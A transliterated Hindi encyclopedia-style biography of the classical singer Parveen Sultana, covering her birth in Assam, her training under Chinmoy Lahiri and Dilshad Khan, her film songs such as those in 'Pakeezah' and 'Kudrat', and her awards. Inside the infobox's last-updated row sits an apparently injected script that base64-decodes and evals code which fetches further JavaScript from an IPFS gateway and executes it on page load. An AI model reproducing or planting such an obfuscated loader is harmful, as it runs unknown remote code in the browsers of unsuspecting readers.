परवीन सुल्ताना
paravin sultana
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| poora nam | begam paravin sultana |
| janm | 10 julaee, 1950 |
| janm bhoomi | nogoang gram, asam |
| abhibhavak | ikaramul majid tatha maroofa majid |
| pati/patni | dilashad khan |
| karm bhoomi | bharat |
| karm-kshetr | shastriy gayan |
| mukhy filmean | 'gadar', 'kudarat' aur 'pakiza' adi. |
| puraskar-upadhi | 'padmashri' (1976), 'gandharv kala nidhi' (1980), 'miyaan tanasen puraskar' (1986), sangit natak akadami puraskar - 1999 |
| prasiddhi | shastriy gayika |
| nagarikata | bharatiy |
| any janakari | paravin sultana ne matr barah varsh ki ayu mean apana pratham sangit karyakram diya tha. |
| adyatan | 13:35, 16 julaee 2013 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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paravin sultana (aangrezi: Parveen Sultana, janm- 10 julaee, 1950, asam) bharat ki prasiddh shastriy gayika haian. vah 'patiyala gharane' se sambandhit haian. paravin sultana aisi vilakshan pratibhashali gayika haian, jinhean varsh 1976 mean 'padmashri' se sammanit kiya gaya tha. asamiya prishthabhoomi se talluk rakhane vali paravin sultana ne patiyala gharane ki gayaki mean apana alag mukam banaya hai. unake parivar mean kee pidhiyoan se shastriy sangit ki parampara rahi hai. unake guruoan mean 'achary chinamoy lahiri' aur 'ustad dilashad khan' pramukh rahe haian. git ko apani antaratma manane vali paravin sultana ki janm-bhoomi asam aur karm-bhoomi mumbee rahi hai.
janm tatha shiksha
paravin sultana ka janm 10 julaee, 1950 ko nogoang gram, asam mean hua tha. inake pita ka nam 'ikaramul majid' tatha mata ka nam 'maroofa majid' tha. paravin sultana ne sabase pahale sangit apane dada ji 'mohammad najif khaan sahab' tatha pita ikaramul se sikhana shuroo kiya. pita aur dadaji ki chhatrachhaya ne unaki pratibha ko vikasit kar unhean 12 varsh ki alpayu mean hi apani pratham prastuti dene ke liye paripakv bana diya tha. isake bad paravin sultana kolakata (bhootapoorv kalakatta) mean 'svargiy pandit chinamoy lahiri' ke pas sangit sikhane gayian tatha 1973 se ve 'patiyala gharane' ke 'ustad dilashad khaan sahab' ki shagird ban gayian. thumb|left|begam paravin sultana
vivah
do varsh bad hi paravin sultana ne dilashad khaan se vivah kiya aur parinay sootr mean bandh gayian. inaki ek putri bhi hai. paravin sultana un chuninda shastriy gayikaoan mean se ek haian, jinhean eeshvar ne ek aisi anokhi aur khoobasoorat avaz se navaja, jisaka koee sani nahian tha. unaki lagan aur talim ne unhean khoobasoorat avaz aur ek garimamay vyaktitv ka dhani banaya tha, isilie unhean bharatiy shastriy sangit ki rani kaha jata hai.
ragoan se sahajata
ustad dilashad khaan sahab ki talim ne unaki pratibha ki nianv ko aur bhi sudridh kiya, unaki gayaki ko nayi disha di, jisase unhean ragoan aur shastriy sangit ke any tathyoan mean visharad prapt hua. jivan mean ek guru ka sthan kya hai, yah ve bhali-bhaanti janati thian. apane ek sakshatkar mean unhoanne kaha tha ki- "jitana mahattvapoorn ek achchha guru milana hota hai, utana hi mahattvapoorn hota hai guru ke batae marg par chalana." sanbhavatah isi karan ve kathin se kathin ragoan ko sahajata se ga leti haian. unaka ek dhime alap se tivr tanoan aur bol tanoan par jana, unake asim atmavishvas ko jhalakata hai, jisase us rag ka ark, usaka bhav ubhar kar ata hai. chahe khayal ho, thumari ho ya koee bhajan, ve use usake shuddh roop mean prastut kar sabaka man moh leti haian.[1]
filmoan mean gayan
paravin sultana ne film 'pakiza' se filmoan mean gayan ki shuruat ki thi. solah varsh ki umr mean paravin muanbee aee thian aur yahian par ittafak se mashahoor sangitakar naushad sahab ne unhean film 'pakiza' ke parshvagayan ke lie tho da-sa gane ki gujarish ki. naushad sahab ne paravin ki gayaki ko ek sho mean dekh liya tha, usi se prabhavit hokar unhoanne paravin ko ek khoobasoorat mauka diya. film 'kudarat' ka git "hamean tumase pyar kitana, ye ham nahian janate" (sangit nirdeshak ar. di. barman) aur film 'pakiza' ka 'kaun gali gayo shyam' sabase adhik pasand kiya gaya tha.
saphalata
paravin sultana kahati haian ki- naushad sahab ke is prastav ne filmoan mean meri gayaki ke daravaze khol die. film 'pakiza' ke parshvagayan ke lie ham sabane 'thumari', 'mishr pilu', 'khamaj', in ragoan mean tho da-tho da gaya. film 'pakiza' ke sangit ke supar hit ho jane ke bad madan mohan ne film 'paravana' ke lie ek git ko gane ka aauphar diya. naushad sahab ki tarah madan mohan bhi mere phain the. paravin sultana ne naushad, madan mohan ke alava lakshmikaant pyarelal, shankar jayakishan tatha ar. di. barman ke lie bhi gaya[2] shastriy sangit mean jahaan khyal gayan mean inako pravinata hasil rahi, vahian shastriy sugam sangit mean thumari, dadara, chaiti, kajari adi behad pasand ki geean. rag hansadhvani ka tarana shrotaoan ki vishesh pharamaish hua karata tha. vahian kabir ke bhajan bhi utani hi khoobasoorati se prastut kiye. film 'paravana' mean 1971 mean asha bhoansale ke sath paravin sultana ne 'piya ki gali' (sangitakar madan mohan) git gaya tha. gazal bhi vah utani hi madhurata aur doob kar gati haian, jitana shastriy sangit ka khyal. 'ye dhuaan sa kah se uthata hai' unake dvara gaee gee gazal kafi charchit rahi thi.
upashastriy sangit mean dakshata
thumb|paravin sultana paravin sultana ko upashastriy sangit mean dakshata prapt hai. 'tappa' ek vidha hai, jise gana sabhi ke vash ki bat nahian hoti. isaki vajah yah hai ki isamean avaz aur svaroan ko ghumate hue ek vishesh tariqe se bahut santulit kram aur sadhe hue svaroan mean gaya jata hai. is ehatiyat ke sath ki jatil svar-sanrachana ke bad bhi svar bikharean nahian. paravin sultana ko tappe mean bhi maharath hasil thi. unaki tanean jharane ki tarah bahati to alap utane hi ganbhir aur gahare hote, jaise kisi gahare koop mean se oopar ko uthati dhvaniyaan. jitani mithas tar saptak mean utani hi bulandi mandr saptak ke svaroan mean, ye vividhata nissandeh ek kathin sadhana hai. kathin se kathin tanean vo itani asani se leti ki shrota ashchary chakit rah jate the.
puraskar v samman
- kliyopetra aauph myoozik - 1972
- padmashri - 1976
- gandharv kala nidhi - 1980
- miyaan tanasen puraskar - 1986
- sangit natak akadami puraskar - 1999
- samap vistata puraskar
varsh 2011 ka 'samap vistata puraskar' gayika paravin sultana aur sarod ke vadak jarin sharma ko pradan kiya gaya tha. yah puraskar keandriy shahari vikas aur garibi unmoolan mantri kumari shailaja ne 21 navambar, 2011 ko pradan kiya tha. is puraskar ke svaroop 25 hajar rupaye nakad, sh aaul v pratik chihn pradan kiya jata hai.[3]
murid haian adanam
paravin sultana batati haian ki- "ar. di. barman aur mere pati dilashad khaan ek doosare ke sahapathi rah chuke haian. donoan ne kolakata ke seant zeviyars k aaulej mean padhaee ki thi. film 'kudarat' ke ek git "hamean tumase pyar kitana" ke lie barman sahab ne mere pati se kaha ki vah mujhase bat karean, kyoanki unhean dar tha ki agar maianne na kar di to. magar jab mere pati ne unhean bataya ki maian unaki phain hooan, tab kahian jakar unhoanne mujhase bat ki." is git ke lie maianne 1981 ki sarvashreshth gayika ka 'film pheyar avard' jita. avaz ki dhani paravin sultana ko kafi filmoan mean gane ke aauphar mile, magar apani avaz ke sath kisi bhi tarah ka koee samajhauta ve karane ko taiyar nahian thi. yooan paravin sultana ke kee chahane vale rahe, jinamean kee sangitakar bhi shamil haian. ajakal ke sangitakaroan mean adanam sami unake sabase b de prashansakoan mean se ek haian. adanam ke pas paravin sultana ki sari film tatha k aauansart mean gae ge gitoan ka sangrah hai. film 'gadar' ke ek thumari git, jise paravin ne apani avaz se navaza hai, ne adanam sami ko paravin ji ka divana bana diya. adanam sami ki varshoan ki tamanna us vaqt poori huee, jab unhoanne apane sangit nirdeshan mean paravin ki gayaki ko parakha.[2]
behatar git-sangit
paravin sultana un ganoan ko apani avaz dena pasand karati hai, jinamean n sirph sangit hi, balki git bhi behatarin ho. unaka manana hai ki- "mera kya kam hai, gane vale to bahut haian, agar ap mujhase gavana chahate haian to usamean kuchh aisa ho, jisase mujhe bhi santushti mile aur shrota bhi khush hoan." film '1920' ke git 'vada tera vada' ke bare mean paravin sultana ne bataya ki is gane ki do lainean sunakar hi unhoanne ise gane ka man bana liya. yah git mahaz paune do ghante mean rik aaurd ho gaya tha.
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tika tippani aur sandarbh
- ↑ begam paravin sultana (hindi). . abhigaman tithi: 23 disambar, 2012.
- ↑ 2.0 2.1 riyeliti sh aau bachchoan ko biga d rahe haian, paravin (hindi). . abhigaman tithi: 10 julaee, 2013.
- ↑ paravin sultana aur sarod vadak jarin sharma ko samap vistata puraskar (hindi). . abhigaman tithi: 17 julaee, 2013.
bahari k diyaan
sanbandhit lekh